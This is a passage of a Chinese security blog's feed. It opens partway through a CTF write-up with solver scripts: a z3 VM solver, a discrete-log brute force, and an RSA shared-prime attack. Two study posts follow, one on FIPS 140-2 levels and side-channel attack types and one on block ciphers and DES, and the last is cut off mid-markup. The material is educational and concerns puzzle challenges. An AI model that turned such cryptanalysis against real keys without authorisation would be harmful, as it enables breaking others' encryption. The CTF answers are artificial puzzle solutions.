class="number">4</span>,<span class="number">4</span>)]</span><br><span class="line"></span><br><span class="line">flag=[BitVec(<span class="string">'s'</span>+str(i),<span class="number">8</span>)<span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">15</span>)]</span><br><span class="line">oflag=[i <span class="keyword">for</span> i <span class="keyword">in</span> flag]</span><br><span class="line">solver=Solver()</span><br><span class="line">out=[]</span><br><span class="line">tmp=<span class="number">0</span></span><br><span class="line">o2=<span class="number">0</span></span><br><span class="line">fp=<span class="number">0</span></span><br><span class="line">v6=<span class="number">0</span></span><br><span class="line"></span><br><span class="line">i=<span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> i<<span class="number">114</span>:</span><br><span class="line">x=code[i]</span><br><span class="line"><span class="keyword">if</span> x==<span class="number">1</span>:</span><br><span class="line">out.append(tmp)</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line">fp+=<span class="number">1</span></span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">2</span>:</span><br><span class="line">tmp = code[i + <span class="number">1</span>] + flag[fp] &<span class="number">255</span></span><br><span class="line">i += <span class="number">2</span>;</span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">3</span>:</span><br><span class="line">tmp = flag[fp] - code[i + <span class="number">1</span>] &<span class="number">255</span></span><br><span class="line">i += <span class="number">2</span>;</span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">4</span>:</span><br><span class="line">tmp = code[i + <span class="number">1</span>] ^ flag[fp];</span><br><span class="line">i += <span class="number">2</span>;</span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">5</span>:</span><br><span class="line">tmp = code[i + <span class="number">1</span>] * flag[fp];</span><br><span class="line">i += <span class="number">2</span>;</span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">6</span>:</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">7</span>:</span><br><span class="line">solver.add(out[o2]==code[i+<span class="number">1</span>])</span><br><span class="line">i+=<span class="number">2</span></span><br><span class="line">o2+=<span class="number">1</span></span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">8</span>:</span><br><span class="line">flag[v6] = tmp;</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line">v6+=<span class="number">1</span></span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">10</span>:</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">11</span>:</span><br><span class="line">tmp = flag[fp] - <span class="number">1</span>;</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line"><span class="keyword">elif</span> x==<span class="number">12</span>:</span><br><span class="line">tmp = flag[fp] + <span class="number">1</span>;</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">assert</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> solver.check():</span><br><span class="line">m=solver.model()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> oflag:</span><br><span class="line">print(chr(m[i].as_long()),end=<span class="string">''</span>)</span><br><span class="line">print()</span><br></pre></td></tr></table></figure><h2 id="Crypto">Crypto</h2><h3 id="you-raise-me-up">you raise me up</h3><p>解离散对数问题,求mod 2**512 的离散对数,直接暴力枚举,我自己用的是sagemath网站求的解,求出来用long_to_byte转一下就可以。后来请教了mcfx师傅,看了一下他的脚本,发现精妙多了,这里需要注意一个比较特殊的关系,n的值是个二次幂,即模数为二次幂,可以简化暴力破解过程。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line">m = <span class="number">391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075</span></span><br><span class="line">c = <span class="number">6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499</span></span><br><span class="line"></span><br><span class="line">mod = <span class="number">2</span></span><br><span class="line">result = [<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> mod < <span class="number">2</span>**<span class="number">512</span>:</span><br><span class="line">temp = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> result:</span><br><span class="line">temp.append(i+mod)</span><br><span class="line">temp.append(i)</span><br><span class="line"></span><br><span class="line">result.clear()</span><br><span class="line">mod = mod*<span class="number">2</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> temp:</span><br><span class="line"><span class="keyword">if</span>(pow(m,i,mod) == c%mod):</span><br><span class="line">result.append(i)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> result:</span><br><span class="line">print(str(i.to_bytes(<span class="number">64</span>,<span class="string">'big'</span>)))</span><br></pre></td></tr></table></figure><h3 id="boom">boom</h3><p>按照提示完成即可拿到flag,注意windows用cmd跑,不然会闪退。</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line">en5oy</span><br><span class="line"><span class="attribute">x</span>=74 <span class="attribute">y</span>=68 <span class="attribute">z</span>=31</span><br><span class="line"><span class="attribute">x</span>=89127561</span><br></pre></td></tr></table></figure><h3 id="easy-ya">easy_ya</h3><p>这题在比赛的时候有做过,但是时间关系做不动了。一个环境题,需要利用题目给出的n1、c1、n2和c2,用RSA逆推出ek,其中可以利用n1和n2质因数相同求出n1的质因数分解。这题后面也没复现了,可以看一下[这位师傅]的脚本。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> libnum <span class="keyword">import</span> n2s,s2n</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">n1 = <span class="number">523302236767994199900474363344509016779069116440336509402579663927023212822016176967224920257215697515649639915194389392664393435704126520500342935380422629852958893595198501678886910437288107490865842806189885864227955305292596726620737250011643028592306930279653650874633693082819617471411085797465171317473575199984137570425840763157847215554005503026976635376775672263338018024842152016782550728415532850496820668169596712488535626476321971915772540785626943870257914929277013026283202706480202573253694027965561121582254805059775814137542861056288774182091519461752761702279929984980399296157122817271523455097901334302748985253698791419583126820263035649222528798493821648538568572195005358978375666451378629463679501572550304224399031869931606326980885244883575380615433423693907673692911481956161922234589747374211957098461625670478121184734721478951324090304946630772999533103517416951906651316589244984076827527352185687877958699658011472950078992791104307370649334689901210147765149584862868749574640976109508247204313701721196275177445231013673265642224568068643851710967790673640935447579098048865343477978938147696617434878198467680874826616766904653374028721826187308127128623535689512750830887981058826202565202400511</span></span><br><span class="line">c1 = <span class="number">498116479126828060721351777093052860074248131123861633687756928866328288114135612849582257727497809922257024131348207980532057240060103798568227977564521497134127080257805342446192248133124844549442334197110567598270256443362563074473166503647429611051333058467042150637666479765740465760837773368463067714839472516227071241189038004851446423799255357523722335018334006275302424683874359612832738469924300750750078529793617519763670882091967677827342326944222743651042579235831828367996040140715066967834876505105847352068608085060284716208922782057542541292881761158407247706056426656079240060590899310402168208571288608455268870805780135942398347873755131825844602660879197979908250552518202142180574849619997871142575611493295891685289794234943270549985371377356916876993228441993132176346052582480841840804748103391892367360829385946406970449784716173650039815882209635063166095389007982620077884907738945623441531598991729082106049943909989119158441101967074276580858829052824691525753913860208906309655761578594225039981683717544420716889594252263165426914121554799496094906541367521362681696570717997925590955291849918357945303214885384216817697786187947817980231717851370305526120464677525392225631245022522492166336294567990</span></span><br><span class="line">n2 = <span class="number">536990588699972595171044696252776619032179414787125154102250364726703105272855466989014009336094247702108918440942171080587326115929077717421949560294869471182366684971337895133599697112193778007924450399107079732471847945598232349103839178632745959014098099259478108015237884846605377823461726458684486899249980041743056079896277510838968230729745020510029386228057731944169220820085059789541971092769832034181463596023438597531006332700648910769750936607476390311140301912742677001065893470340950419360642998700303488716826766066363262819042158064398656956185348135880225267894029419814797931720405594656777311094389676998338309809990367862926139317751409984908306801799152005179724137997626023826392780245630698648023945119617679627945415398046106871715475183890738417311925747430222040725394347022734489930069712092197629163647317772330355887387543008085150959104427391942023985298997288368357638062454066636100000548473809891299732343069825793293706407805782587150123342081839983609199059401502925783039760450730519603070519136086703825438807058787688044991172737575437559249668471352046085614345186161595152256193672994722540039920217058451215889862638946510188311582046866299423997659515395934871167522463706085186962242421859</span></span><br><span class="line">c2 = <span class="number">164402111514416870480151927449107349163820084533580709383993929301187569338852498622073106678649496858117593538947720740640339668153033620409471744700183709591276280704323985437330452541949262852531710176243561888397374683972759177181684560891529123569371241980602358823138808014488471284855401456011020109937046905434967828616466812821052222924691090808870700970795942705766163862790406417148540210339722273902825469460099520769061522024042123766536620554426683612099219790921573403278241760344418925630823806366949039901279532624187976211611528860461687073096888450694175459321193571925480949635977079339284905452476161156840739751431793628217796061271713787710176980187083301171958573364765677389306720995362317264018186392366551999368657422142163919262968449796794407119199996178284891867472060688293602896147398028717874542567143635071645595076767066361989345197270110842062044509038468406120271061465308775126927579741460684420290619983532930017201223504143911140388202527374930493248620993306321032961537876323380443523093814730204234290659449391857198796743587265894069493376291713198073023178977070834614584650913597763729414655680380751407408769289343905637501434637829997447542901620528323133332447667258731683700542347651</span></span><br><span class="line">p = gmpy2.gcd(n1, n2)</span><br><span class="line">q1 = n1 // p</span><br><span class="line">q2 = n2 // p</span><br><span class="line">e = <span class="number">0x10001</span></span><br><span class="line">phi1 = (p<span class="number">-1</span>)*(q1<span class="number">-1</span>)</span><br><span class="line">d1 = gmpy2.invert(e, phi1)</span><br><span class="line">m = pow(c1, d1, n1)</span><br><span class="line">ek = n2s(m)</span><br><span class="line"></span><br><span class="line">key = <span class="string">'8891898088b197a0bfa78199b28195bfae89'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line">limit = <span class="keyword">lambda</span> n: n & <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line">Key = [ord(i) <span class="keyword">for</span> i <span class="keyword">in</span> key]</span><br><span class="line">a = limit((Key[<span class="number">0</span>] << <span class="number">24</span>) | (Key[<span class="number">1</span>] << <span class="number">16</span>) | (Key[<span class="number">2</span>] << <span class="number">8</span>) | Key[<span class="number">3</span>])</span><br><span class="line">b = limit((Key[<span class="number">4</span>] << <span class="number">24</span>) | (Key[<span class="number">5</span>] << <span class="number">16</span>) | (Key[<span class="number">6</span>] << <span class="number">8</span>) | Key[<span class="number">7</span>])</span><br><span class="line">c = limit((Key[<span class="number">8</span>] << <span class="number">24</span>) | (Key[<span class="number">9</span>] << <span class="number">16</span>) | (Key[<span class="number">10</span>] << <span class="number">8</span>) | Key[<span class="number">11</span>])</span><br><span class="line">d = limit((Key[<span class="number">12</span>] << <span class="number">24</span>) | (Key[<span class="number">13</span>] << <span class="number">16</span>) | (Key[<span class="number">14</span>] << <span class="number">8</span>) | Key[<span class="number">15</span>])</span><br><span class="line"></span><br><span class="line">outputs = [<span class="number">0x65d4ce3b0b1b3f48bb9fdL</span>, <span class="number">0xf0230f43414a9c9ac0488L</span>, <span class="number">0xbd592ebe04025b783fb5bL</span>, <span class="number">0x28d194dcd1c79b4bb8074L</span>, <span class="number">0x7c493be8f0fdbb740ec29L</span>]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reversecalc</span><span class="params">(a, b, c, d, y, z, pad)</span>:</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">32</span>, <span class="number">0</span>, <span class="number">-1</span>):</span><br><span class="line"> <span class="comment"># print 'Round %d: %d, %d' % (i, y, z)</span></span><br><span class="line"> pads = limit(pad * i)</span><br><span class="line"> paramz = (y*<span class="number">16</span>+c)^(y+pads)^((y>><span class="number">5</span>)+d)</span><br><span class="line"> <span class="keyword">if</span>(z < paramz):</span><br><span class="line"> z = limit(z - paramz + <span class="number">0x100000000</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> z = limit(z - paramz)</span><br><span class="line"> paramy = (z*<span class="number">16</span>+a)^(z+pads)^((z>><span class="number">5</span>)+b)</span><br><span class="line"> <span class="keyword">if</span>(y < paramy):</span><br><span class="line"> y = limit(y - paramy + <span class="number">0x100000000</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> y = limit(y - paramy)</span><br><span class="line"> <span class="comment"># print (y, z)</span></span><br><span class="line"> <span class="keyword">return</span> y, z</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> output <span class="keyword">in</span> outputs:</span><br><span class="line"> <span class="keyword">print</span> hex(output)</span><br><span class="line"> binout = bin(output)[<span class="number">2</span>:]</span><br><span class="line"> binout = <span class="string">'0'</span>*(<span class="number">84</span>-len(binout))+binout</span><br><span class="line"> y = int(binout[:<span class="number">32</span>], <span class="number">2</span>)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">4096</span>):</span><br><span class="line"> bini = bin(i)[<span class="number">2</span>:]</span><br><span class="line"> bini = <span class="string">'0'</span>*(<span class="number">12</span>-len(bini))+bini</span><br><span class="line"> tmpbinpads = bini[<span class="number">0</span>:<span class="number">5</span>] + binout[<span class="number">32</span>:<span class="number">52</span>] + bini[<span class="number">5</span>:<span class="number">12</span>] + <span class="string">'00000'</span></span><br><span class="line"> pad = int(tmpbinpads, <span class="number">2</span>) / <span class="number">32</span></span><br><span class="line"> pads = limit(int(tmpbinpads, <span class="number">2</span>))</span><br><span class="line"> z = output ^ (y<<<span class="number">52</span>) ^ (pads<<<span class="number">20</span>)</span><br><span class="line"> y0, z0 = reversecalc(a, b, c, d, y, z, pad)</span><br><span class="line"> tmpstr = n2s(y0)+n2s(z0)</span><br><span class="line"> valid = <span class="literal">True</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> tmpstr:</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">not</span> j <span class="keyword">in</span> string.printable)<span class="keyword">and</span>(j != <span class="string">'\x00'</span>):</span><br><span class="line"> valid = <span class="literal">False</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">if</span>(valid):</span><br><span class="line"> <span class="keyword">print</span> tmpstr</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
一次体验不太好的比赛,web题环境容易崩,所以做着做着搞其他题去了,不过也还好整出点题目。但是可能这比赛py太多,最后还是没能进线下。
</summary>
<category term="CTF_writeup" scheme="http://www.xiaozblog.top/categories/CTF-writeup/"/>
<category term="writeup" scheme="http://www.xiaozblog.top/tags/writeup/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
</entry>
<entry>
<title>密码学学习-密码硬件安全</title>
<link href="http://www.xiaozblog.top/2019/12/22/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E5%AF%86%E7%A0%81%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8/"/>
<id>http://www.xiaozblog.top/2019/12/22/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E5%AF%86%E7%A0%81%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8/</id>
<published>2019-12-22T09:02:08.000Z</published>
<updated>2020-06-16T09:42:50.000Z</updated>
<content type="html"><![CDATA[<p>对密码硬件安全的简要介绍,主要包含密码硬件安全等级与侧信道攻击种类的介绍和说明。</p><h2 id="密码硬件安全等级-FIPS140-2">密码硬件安全等级 FIPS140-2</h2><h3 id="Level-1">Level 1</h3><p>安全级别1提供了最低的安全级别,为密码模块规定了基本安全要求(例如,至少应使用一种批准的算法或批准的安全功能)。 除了生产级组件的基本要求之外,安全级别1加密模块中不需要任何特定的物理安全机制。 安全级别1加密模块的一个示例是个人计算机(PC)加密板。</p><h3 id="Level-2">Level 2</h3><p>安全级别2通过要求显示篡改证据的功能(包括为了确保对明文加密密钥和关键安全参数的物理访问而必须破解的篡改涂层或密封),改进了安全级别1密码模块的物理安全机制。 模块内的CSP)或盖或门上的防撬锁,以防止未经授权的物理访问。</p><h3 id="Level3">Level3</h3><p>安全级别3试图阻止入侵者访问加密模块中包含的CSP。 物理安全机制可包括使用坚固的外壳和篡改检测/响应电路,当打开密码模块的可移动盖板/门时,会将所有纯文本CSP归零。</p><h3 id="Level4">Level4</h3><p>在此安全级别上,物理安全机制在加密模块周围提供了完整的保护包,旨在检测并响应所有未经授权的物理访问尝试。安全级别4加密模块对于在不受保护的物理环境中运行非常有用。</p><h2 id="侧信道攻击种类">侧信道攻击种类</h2><h3 id="缓存攻击">缓存攻击</h3><p>通过获取对缓存的访问权而获取缓存内的一些敏感信息,例如攻击者获取云端主机物理主机的访问权而获取存储器的访问权;</p><h3 id="计时攻击">计时攻击</h3><p>通过设备运算的用时来推断出所使用的运算操作,或者通过对比运算的时间推定数据位于哪个存储设备,或者利用通信的时间差进行数据窃取</p><h3 id="基于功耗监控的旁路攻击">基于功耗监控的旁路攻击</h3><p>同一设备不同的硬件电路单元的运作功耗也是不一样的,因此一个程序运行时的功耗会随着程序使用哪一种硬件电路单元而变动,据此推断出数据输出位于哪一个硬件单元,进而窃取数据;</p><h3 id="电磁攻击">电磁攻击</h3><p>设备运算时会泄漏电磁辐射,经过得当分析的话可解析出这些泄漏的电磁辐射中包含的信息(比如文本、声音、图像等),这种攻击方式除了用于密码学攻击以外也被用于非密码学攻击等窃听行为,如TEMPEST攻击(例如范·埃克窃听、辐射监测);</p><h3 id="声学密码分析">声学密码分析</h3><p>通过捕捉设备在运算时泄漏的声学信号捉取信息(与功率分析类似);</p><h3 id="差别错误分析">差别错误分析</h3><p>隐密数据在程序运行发生错误并输出错误信息时被发现;</p><h3 id="数据残留">数据残留</h3><p>可使理应被删除的敏感数据被读取出来(例如冷启动攻击);</p><h3 id="软件初始化错误攻击">软件初始化错误攻击</h3><p>现在较为少见,Row hammer是该类攻击方式的一个实例,在这种攻击实现中,被禁止访问的存储器位置旁边的存储器空间如果被频繁访问将会有状态保留丢失的风险;</p><h3 id="光学方式">光学方式</h3><p>即隐密数据被一些视觉光学仪器(如高清晰度相机、高清晰度摄影机等设备)捕捉。<br>所有的攻击类型都利用了加密/解密系统在进行加密/解密操作时算法逻辑没有被发现缺陷,但是通过物理效应提供了有用的额外信息(这也是称为“旁路”的缘由),而这些物理信息往往包含了密钥、密码、密文等隐密数据。</p><h2 id="几种已实现的侧信道攻击">几种已实现的侧信道攻击</h2><ol><li>通过CPU缓存来监视用户在浏览器中进行的快捷键及鼠标操作</li></ol><p>对最新型号的英特尔CPU有效,如Core i7;还需运行在支持HTML5的浏览器上。带有恶意JS的网页在受害者电脑上执行后,会收集与之并行的其它进程的信息,有了这个信息,攻击者可以绘制内存对按下按键和鼠标移动的反应情况,进而重塑用户使用情景。</p><ol start="2"><li>“听译”电子邮件密钥</li></ol><p>通过智能手机从运行PGP程序的计算机中“听译”密钥。这项最新的密钥提取攻击技术,能够准确地捕捉计算机CPU解码加密信息时的高频声音,并提取密钥。</p><ol start="3"><li>非智能手机+恶意软件+目标PC</li></ol><p>从采购供应链下手,将特制小体量难以检测的恶意软件植入电脑,该软件会强制计算机的内存总线成为天线,通过蜂窝频率将数据无线传输到手机上。攻击者将接受和处理信号的软件嵌入在手机的固件基带中,这种软件可以通过社会工程攻击、恶意App或者直接物理接触目标电话来安装。</p><ol start="4"><li>用手触碰电脑即可破解密码</li></ol><p>电脑CPU运算时造成“地”电势的波动,用手触碰笔记本电脑的外壳,接着再测量释放到皮肤上的电势,然后用复杂的软件进行分析,最终得到计算机正在处理的数据。例如:当加密软件使用密钥解密时,监测这种波动就可得到密钥。</p><ol start="5"><li><p>智能手机上的FM无线电功能来拾取电脑显卡发出的无线电波</p></li><li><p>利用KVM入侵物理隔离设备</p></li></ol><p>使用连接到互联网的设备下载恶意软件,然后将其传递给设备的内存。之后透过KVM漏洞传播给使用KVM操控的其它多台设备,实现入侵物理隔离的系统,并感染更敏感的设备。最后恶意程序再经KVM反向将窃取到的数据传递到互联网。</p><ol start="7"><li>利用一个面包(皮塔饼)偷取计算机密钥</li></ol><p>无屏蔽铜线圈、电容</p><ol start="8"><li><p>通过热量窃取电脑信息</p></li><li><p>其它方法</p></li></ol><p>分析设备在解密过程中的内存利用率或放射的无线电信号,窃取密钥。</p><h2 id="参考">参考</h2><ol><li><a href="https://zh.wikipedia.org/wiki/%E6%97%81%E8%B7%AF%E6%94%BB%E5%87%BB" target="_blank" rel="noopener">wiki-密码学侧信道攻击</a></li><li>Kocher, Paul. Timing attacks on implementations of Diffie-Hellman, RSA, DSS, and other systems. Advances in Cryptology—CRYPTO’96. Lecture Notes in Computer Science. 1996, 1109: 104–113 [14 April 2014]. doi:10.1007/3-540-68697-5_9.</li></ol>]]></content>
<summary type="html">
对密码硬件安全的简要介绍,主要包含密码硬件安全等级与侧信道攻击种类的介绍和说明。
</summary>
<category term="密码学" scheme="http://www.xiaozblog.top/categories/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="密码学" scheme="http://www.xiaozblog.top/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="网络安全理论" scheme="http://www.xiaozblog.top/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%90%86%E8%AE%BA/"/>
</entry>
<entry>
<title>密码学学习-分组密码</title>
<link href="http://www.xiaozblog.top/2019/10/25/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81/"/>
<id>http://www.xiaozblog.top/2019/10/25/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0-%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81/</id>
<published>2019-10-25T14:34:20.000Z</published>
<updated>2020-06-17T14:09:04.000Z</updated>
<content type="html"><![CDATA[<p>对于分组密码的介绍,主要涵盖一些常见的分组密码构造,如Feistel和SPN结构,以及常用的分组密码算法(DES/AED/SM4)和模式(CBC/CFB/ECB/OFB/CTR)。</p><h2 id="基本概念">基本概念</h2><h3 id="分组密码定义">分组密码定义</h3><p>分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成,其中典型的如DES和AES作为美国政府核定的标准加密算法,应用领域从电子邮件加密到银行交易转帐,非常广泛。</p><h3 id="分组密码设计原则">分组密码设计原则</h3><p>扩散(diffusion)和扰乱(confusion)是影响密码安全的主要因素。扩散的目的是让明文中的单个数字影响密文中的多个数字,从而使明文的统计特征在密文中消失,相当于明文的统计结构被扩散。</p><p>扰乱是指让密钥与密文的统计信息之间的关系变得复杂,从而增加通过统计方法进行攻击的难度。扰乱可以通过各种代换算法实现。</p><p>设计安全的分组加密算法,需要考虑对现有密码分析方法的抵抗,如差分分析、线性分析等,还需要考虑密码安全强度的稳定性。此外,用软件实现的分组加密要保证每个组的长度适合软件编程(如8、16、32……),尽量避免位置换操作,以及使用加法、乘法、移位等处理器提供的标准指令;从硬件实现的角度,加密和解密要在同一个器件上都可以实现,即加密解密硬件实现的相似性。</p><p>块加密中,明文块作为一个整体被处理,并用于产生长度相等的密文块。</p><p><img src="/image/201910_fenzumima/1.png" alt=""></p><h2 id="分组密码构造">分组密码构造</h2><h3 id="基本操作">基本操作</h3><ol><li><p>IP置换,分为初始IP置换与逆置换。初始IP置换为将明文块的位进行换位,其置换表示固定的。初始置换表为8*8的表格,第一位58表示该位置存放明文中的第58位字符。第1位字符已经变换到40位的位置。如果进行初始置换,则必须进行逆初始置换,逆初始置换的实现和初始置换一样,只是置换表不同而已。</p></li><li><p>XOR异或:如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。</p></li></ol><figure class="highlight gcode"><table><tr><td class="code"><pre><span class="line">a⊕b = <span class="comment">(¬a ∧ b)</span> ∨ <span class="comment">(a ∧¬b)</span></span><br></pre></td></tr></table></figure><ol start="3"><li>移位:</li></ol><figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line"><<,有符号左移位,将运算数的二进制整体左移指定位数,低位用<span class="number">0</span>补齐。</span><br><span class="line">>>,有符号右移位,将运算数的二进制整体右移指定位数,整数高位用<span class="number">0</span>补齐,负数高位用<span class="number">1</span>补齐</span><br></pre></td></tr></table></figure><ol start="4"><li><p>P置换:简单的位置置换,只是简单地把一位换成另一位,不进行扩展和压缩。经过P置换,32位的输入得到32位的输出。</p></li><li><p>S盒:一种非线性代换。在DES中,S盒是唯一的非线性部分,DES的安全强度主要取决于S盒的安全程度。S盒运算其实是一个查表运算。在E盒的扩展之后得到了48位的数据,将其和48位的子密钥进行异或运算,这是密钥参与运算的步骤。将其分成8个组,每组6个,送到8个S盒中去。每一个S盒都是一个6位输入4位输出的结构,也就是说,48位输入到8个S盒会得到4*8=32位的输出。6位输入到8位输出的映射关系如下表所示,其中,第一位和最后一位作为行号,第二位到第五位最为列号。例如,101100,则行号为10=2,列号为0110=6。查得(2,6)=2,化成二进制位0010。注意,8个S盒的映射关系各不相同。</p></li></ol><h3 id="Feistel-结构">Feistel 结构</h3><p><img src="/image/201910_fenzumima/2.png" alt=""></p><p>对于Feistel网络结构,其加密核心在与F函数的选定,不同的F函数就是遵循Feistel结构的不同的加密算法(如DES),一个好的F函数对于加密效果至关重要,一般情况下,F函数需要满足以下几点:</p><ol><li>不要求可逆:即不求F函数有反函数;</li><li>非线性;</li><li>混乱性;</li><li>扩散性;</li><li>雪崩性:即随着轮数增加其加密效果雪崩式增强;</li><li>比特独立性:一个bit的加密结果不依赖于其他bit。</li></ol><p>Feistel结构安全性:</p><p>如果轮函数是一个加密安全伪随机函数,以Ki为种子,三轮就足以使分组密码成为伪随机排列,而4轮足以使其成为“强”伪随机排列。</p><h3 id="SPN代替置换网络结构">SPN代替置换网络结构</h3><p><img src="/image/201910_fenzumima/3.png" alt=""></p><p>SPN主要依赖的基本技术为代换与置换,是一种迭代密码方案。其迭代过程的设计核心思想如下:</p><ul><li>使用密钥扩展算法将输入的一个密钥扩展为多个子密钥(Subkey)</li><li>每轮使用一个子密钥进行加密</li><li>上一轮的输入作为下一轮的输出,也就是自身迭代</li></ul><p>SPN的安全需求主要有以下两点:</p><ul><li>混乱性:密钥和明文密文间有复杂的依赖</li><li>扩散:单个密钥或明文的变化影响到更多的密文</li></ul><p>SPN网络结构的加密过程由n轮组成,对于每一轮需要进行分操作如下:</p><ul><li>白化:子密钥和明文异或</li><li>S盒代换:将明文分为m组,每组长度为l,按一定规则πs(z)进行代换,代换规则称为S盒</li><li>P盒置换:代换后进行置换操作,存放置换规则的称为P盒</li><li>在多轮中,上一轮输出为下一轮输入,需要和新的子密钥进行异或操作。</li></ul><h2 id="分组密码算法">分组密码算法</h2><h3 id="DES">DES</h3><p>DES全称为Data Encryption Standard,即数据加密标准,是一种使用密钥加密的块算法。DES解密算法与加密算法共用相同的算法过程。两者的不同之处在于解密时的子密钥Ki的使用顺序与加密时的顺序相反。也就说,加密的子密钥使用顺序为K1K2……K16,那么解密时的使用顺序就是K16K15……K1。DES的密钥长度为56,块长度为64,一共16轮。下面为DES的结构。</p><p><img src="/image/201910_fenzumima/des.png" alt=""></p><p>其中,关键在于F函数,其F函数的流程如下:</p><ol><li>将64bit的明文右半部分即32bit扩展为48bit:采用的是4个bit一组,分为8组,每一组前后各加1bit(增加的bit数=2<em>1</em>8=16bit)。其增加按照下表进行(虚线以外的为增加的bit所在位置,如:第一组前是32,即在第一组前加一个bit为整个右半部分的32bit的第32位的bit值{0,1}):</li></ol><p><img src="/image/201910_fenzumima/des1.png" alt=""></p><ol start="2"><li>得到的48bit扩充信息,和子密钥Ki进行异或操作,得到48bit的结果;</li><li>将扩充信息和子密钥异或后的结果进行压缩(48bit压缩到32bit),压缩的方式是经过S盒(4*16的矩阵)进行替换,S盒函数是经过严格计算获得的,其S盒的替换表与流程如下所示:</li></ol><p><img src="/image/201910_fenzumima/des_s.png" alt=""></p><ol start="4"><li>置换运算P(经过一个P盒进行置换,IP置换和P盒置换中,表中的数字代表新数据中此位置的数据在原数据中的位置,在P盒置换中,没有校验码的位置,即去除了校验码):指的是将32bit压缩后的信息进行bit置换操作,改换位操作目的是打乱其原有排序规律(F函数的混乱性原则)。P盒与S盒的硬件设计规律如下图所示(P盒是打乱原有01序列,S盒是译码器+P盒+编码器构成的(以8-3线为例)):</li></ol><p><img src="/image/201910_fenzumima/des_p.png" alt=""></p><p>在DES的整个过程中,子密钥的生成也同样重要。DES算法共需要16轮的迭代运算,每轮迭代运算使用一个子密钥,共需要16个子密钥。子密钥是从用户输入的64位初始密钥生成的。用户输入的密钥有64位,其中有8位用于奇偶校验,分别位于第8,16,24,32,40,48,56,64位。奇偶校验用于检查密钥K的产生和分配以及存储的过程中是否发生了置换的错误,所以DES实际的密钥长度只有56位。</p><p><img src="/image/201910_fenzumima/des_z.png" alt=""></p><p>子密钥的生成过程如下:</p><ol><li>输入的种子密钥K(64bits)首先经过一个PC-1置换j进行重排。PC-1置换得到一个56位的输出,经过置换后将不会再有奇偶校验位并且顺序也被打乱,再将这个56位的结果的前28位作为C0,后28位作为D0。下面为置换盒。</li></ol><p><img src="/image/201910_fenzumima/des_z1.png" alt=""></p><ol start="2"><li>在计算第i轮迭代所使用的子密钥时,首先对Ci-1和Di-1进行循环左移,左移的位数与迭代的轮数对应与下表,分别得到Ci和Di</li></ol><p><img 